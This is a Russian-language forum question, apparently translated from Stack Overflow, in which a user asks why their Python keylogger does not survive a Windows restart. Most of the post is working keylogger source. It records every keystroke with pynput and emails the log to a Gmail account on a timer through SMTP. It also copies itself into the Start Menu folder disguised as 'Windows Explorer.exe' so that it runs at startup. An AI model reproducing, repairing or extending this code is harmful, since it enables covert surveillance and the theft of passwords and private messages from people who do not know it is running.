Кейлоггер не работает постоянно или не работает при запуске Windows

Я пишу кейлоггер на python, и все работает нормально, пока я не попытался сделать его постоянным, когда я конвертирую свою программу в исполняемый файл с помощью pyinstaller, все работает отлично, кроме постоянства, и не показывает никаких ошибок во время выполнения .. Я попытался добавить свою программу в реестр, используя subprocess.call для выполнения команды reg add, которая добавит мой путь к программе в реестр, но она все еще не запускалась при запуске системы или даже не копировала файл в каталог appdata .. Я не уверен, что я делаю не так, это мой код ниже, попробуйте и дайте мне знать, если я что-то не понимаю, заранее большое спасибо всем, кто может мне помочь.

      '''

#/usr/bin/env python
import pynput.keyboard, threading, smtplib
import requests, json, os, shutil, sys, subprocess

class Keylogger:
    #constructor method, any code put in it will be executed automatically when we create the object
    def __init__(self, time_interval, email, password):
        self.persistence()
        self.log = "Keylogger Started At: \n\n"
        self.interval = time_interval
        self.email = email
        self.password = password

    def persistence(self):
        file_location = os.environ['appdata'] + "\Microsoft\Windows\Start Menu\Programs\\Windows Explorer.exe"
        file_path = os.path.dirname(os.path.realpath(sys.executable)) 
        source_file_name="keylogger1.exe" 
        current_file_locate = os.path.join(file_path,source_file_name)
        if not os.path.isfile(file_location):
            shutil.copy(current_file_locate, file_location)

    def append_to_log(self, string):
        self.log = self.log + string


    def key_pressed(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            #making code to give space instead of writing key.space
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    #using threading to set timer for reports, call the sendmail method and setting a callback function
    def send_report(self):
        self.send_mail(self.email, self.password, "\n\n" + self.log)
        self.log = " "
        timer = threading.Timer(self.interval, self.send_report)
        timer.start()

    def send_mail(self, email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)  # using google smtp server with the default port
        server.starttls()
        server.login(email, password)  #loginto the server
        server.sendmail(email, email, message)
        server.quit()

    #calling the listener layer from  pynput.keyboard and passing a callback function that we want to be executed anytime the user press a key on the keyboard (on_press)
    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.key_pressed)
        with keyboard_listener:
            self.send_report()
            keyboard_listener.join()






#/usr/bin/env python
#importing the zlogger file
import zlogger
import subprocess, sys


run_keylogger = zlogger.Keylogger(150, "my_email, "mypass")
run_keylogger.start()

0 ответов

Другие вопросы по тегам